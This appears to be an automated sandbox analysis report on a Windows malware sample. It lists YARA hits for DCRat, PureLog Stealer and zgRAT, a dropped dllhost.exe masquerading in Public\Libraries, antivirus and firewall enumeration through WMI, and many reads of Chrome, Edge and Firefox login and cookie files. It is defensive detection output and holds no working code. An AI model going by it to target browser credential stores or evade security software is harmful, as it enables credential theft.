                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

                              Stealing of Sensitive Information

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.1689492935.0000000012ED7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: eu6OEBpBCI.exe PID: 5928, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 6924, type: MEMORYSTR
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: eu6OEBpBCI.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.eu6OEBpBCI.exe.4e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000000.00000000.1642613306.00000000004E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Users\Public\Libraries\dllhost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Recovery\fontdrvhost.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: eu6OEBpBCI.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.eu6OEBpBCI.exe.4e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\Users\Public\Libraries\dllhost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Recovery\fontdrvhost.exe, type: DROPPED
                              Tries to harvest and steal browser information (history, passwords, etc)
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shmJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
